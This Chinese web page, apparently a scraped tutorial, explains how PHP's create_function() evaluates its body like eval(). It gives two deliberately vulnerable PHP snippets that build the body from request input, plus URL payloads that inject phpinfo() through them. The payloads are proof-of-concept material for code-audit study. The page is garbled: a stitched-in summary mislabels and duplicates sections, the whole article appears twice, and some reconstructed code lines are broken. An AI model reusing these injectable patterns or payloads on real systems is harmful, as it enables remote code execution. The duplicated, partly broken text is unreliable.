PHP的create_function()函数如何应用于实例详解?

2026-04-06 08:051阅读0评论SEO问题
  • 内容介绍
  • 文章标签
  • 相关推荐

本文共计1042个文字,预计阅读时间需要5分钟。

PHP的create_function()函数如何应用于实例详解?

目录前言create_function() 简介函数功能代码注释实例实例:0x01实例:0x02前言直接遇到这个函数,但不知道如何利用。下面学习一下这个函数的简介、适用和语法。

create_function() 简介create_function() 函数用于在运行时创建一个匿名函数。

函数功能- 创建匿名函数- 可以接受参数- 返回一个函数对象

代码注释实例php// 创建一个匿名函数,用于计算两个数的和$sum=create_function('$a, $b', 'return $a + $b;');

echo $sum(3, 4); // 输出 7

实例:0x01实例:0x02前言直接遇到这个函数,但不知道如何利用。下面学习一下这个函数的简介、适用和语法。

create_function() 简介create_function() 函数用于在运行时创建一个匿名函数。

函数功能- 创建匿名函数- 可以接受参数- 返回一个函数对象

PHP的create_function()函数如何应用于实例详解?

代码注释实例php// 创建一个匿名函数,用于计算两个数的和$sum=create_function('$a, $b', 'return $a + $b;');

echo $sum(3, 4); // 输出 7

适用- PHP 4.0.1- PHP 5- PHP 7

语法ccreate_function(string $args, string $body)- `$args`:函数的参数列表- `$body`:函数体内容

目录
  • 前言
  • create_function()简介
  • 函数功能
  • 代码注入实例
    • 0x01
    • 0x02

前言

一直遇到过这个 函数,但是不知道怎么利用 这回学习一下这个函数

create_function()简介

适用 PHP4>4.0.1 PHP 5 PHP7

语法:
create_function(string $args, string $code)
string $args 声明的函数变量部分
string $code 执行的方法代码部分

函数功能

<?php $newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);'); echo "New anonymous function: $newfunc\n"; echo $newfunc(2, M_E) . "\n"; ?>

分析:

create_function() 会创造一个匿名函数 (lambda样式) 此处创建了一个叫 lamvda_1 的函数, 在第一个 echo 中 显示名字, 并在第二个echo 语句中执行了 此函数。

create_function() 函数 会在内部 执行 eval() , 我们发现是执行了 后面的 return 语句,属于create_function() 中的第二个参数 string $code 的位置

因此,上述匿名函数的创建与执行过程等价于:

<?php function lambda_1($a,$b){ return "ln($a) + ln($b) = " . log($a * $b); } ?>

create_function( ) 函数在代码审计中,主要用来查找项目中的代码注入和回调后门的情况,熟悉了执行流程, 可以实现对代码注入的 payload 构造,从而 进行漏洞挖掘和找出存在缺陷

代码注入实例

0x01

<?php error_reporting(0); $sort_by = $_GET['sort_by']; $sorter = 'strnatcasecmp'; $databases=array('1234','4321'); $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);'; usort($databases, create_function('$a, $b', $sort_function)); ?>

payload:

localhost/test1.php?sort_by=%27%22]);}phpinfo();/*

还原实际的组合过程:

$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*

匿名函数实际的执行:

function niming($a,$b){ return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/* }

$sort_by 是我们传入的值。

回车换行整理一下:

function niming($a,$b){ return 1 * ' . $sorter . '($a["' . $sort_by '"]); } phpinfo();/* }

0x02

<?php $c=$_GET['c']; $lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen($c));"); $array=array('reall long string here,boy','this','midding lenth','larget'); usort($array,$lambda); print_r($array); ?>

payload:

localhost/test2.php?c=1));}phpinfo();/*

还原实际的组合过程:

$lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));");

匿名函数实际的执行:

function ft($a,$b){ return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*)); }

换行整理:

function ft($a,$b){ return (strlen($a)-strlen($b)+" . "strlen(1)); } phpinfo(); /*)); }

到此这篇关于PHP create_function()函数应用实例详解的文章就介绍到这了,更多相关PHP create_function()函数内容请搜索自由互联以前的文章或继续浏览下面的相关文章希望大家以后多多支持自由互联!

本文共计1042个文字,预计阅读时间需要5分钟。

PHP的create_function()函数如何应用于实例详解?

目录前言create_function() 简介函数功能代码注释实例实例:0x01实例:0x02前言直接遇到这个函数,但不知道如何利用。下面学习一下这个函数的简介、适用和语法。

create_function() 简介create_function() 函数用于在运行时创建一个匿名函数。

函数功能- 创建匿名函数- 可以接受参数- 返回一个函数对象

代码注释实例php// 创建一个匿名函数,用于计算两个数的和$sum=create_function('$a, $b', 'return $a + $b;');

echo $sum(3, 4); // 输出 7

实例:0x01实例:0x02前言直接遇到这个函数,但不知道如何利用。下面学习一下这个函数的简介、适用和语法。

create_function() 简介create_function() 函数用于在运行时创建一个匿名函数。

函数功能- 创建匿名函数- 可以接受参数- 返回一个函数对象

PHP的create_function()函数如何应用于实例详解?

代码注释实例php// 创建一个匿名函数,用于计算两个数的和$sum=create_function('$a, $b', 'return $a + $b;');

echo $sum(3, 4); // 输出 7

适用- PHP 4.0.1- PHP 5- PHP 7

语法ccreate_function(string $args, string $body)- `$args`:函数的参数列表- `$body`:函数体内容

目录
  • 前言
  • create_function()简介
  • 函数功能
  • 代码注入实例
    • 0x01
    • 0x02

前言

一直遇到过这个 函数,但是不知道怎么利用 这回学习一下这个函数

create_function()简介

适用 PHP4>4.0.1 PHP 5 PHP7

语法:
create_function(string $args, string $code)
string $args 声明的函数变量部分
string $code 执行的方法代码部分

函数功能

<?php $newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);'); echo "New anonymous function: $newfunc\n"; echo $newfunc(2, M_E) . "\n"; ?>

分析:

create_function() 会创造一个匿名函数 (lambda样式) 此处创建了一个叫 lamvda_1 的函数, 在第一个 echo 中 显示名字, 并在第二个echo 语句中执行了 此函数。

create_function() 函数 会在内部 执行 eval() , 我们发现是执行了 后面的 return 语句,属于create_function() 中的第二个参数 string $code 的位置

因此,上述匿名函数的创建与执行过程等价于:

<?php function lambda_1($a,$b){ return "ln($a) + ln($b) = " . log($a * $b); } ?>

create_function( ) 函数在代码审计中,主要用来查找项目中的代码注入和回调后门的情况,熟悉了执行流程, 可以实现对代码注入的 payload 构造,从而 进行漏洞挖掘和找出存在缺陷

代码注入实例

0x01

<?php error_reporting(0); $sort_by = $_GET['sort_by']; $sorter = 'strnatcasecmp'; $databases=array('1234','4321'); $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);'; usort($databases, create_function('$a, $b', $sort_function)); ?>

payload:

localhost/test1.php?sort_by=%27%22]);}phpinfo();/*

还原实际的组合过程:

$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*

匿名函数实际的执行:

function niming($a,$b){ return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/* }

$sort_by 是我们传入的值。

回车换行整理一下:

function niming($a,$b){ return 1 * ' . $sorter . '($a["' . $sort_by '"]); } phpinfo();/* }

0x02

<?php $c=$_GET['c']; $lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen($c));"); $array=array('reall long string here,boy','this','midding lenth','larget'); usort($array,$lambda); print_r($array); ?>

payload:

localhost/test2.php?c=1));}phpinfo();/*

还原实际的组合过程:

$lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));");

匿名函数实际的执行:

function ft($a,$b){ return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*)); }

换行整理:

function ft($a,$b){ return (strlen($a)-strlen($b)+" . "strlen(1)); } phpinfo(); /*)); }

到此这篇关于PHP create_function()函数应用实例详解的文章就介绍到这了,更多相关PHP create_function()函数内容请搜索自由互联以前的文章或继续浏览下面的相关文章希望大家以后多多支持自由互联!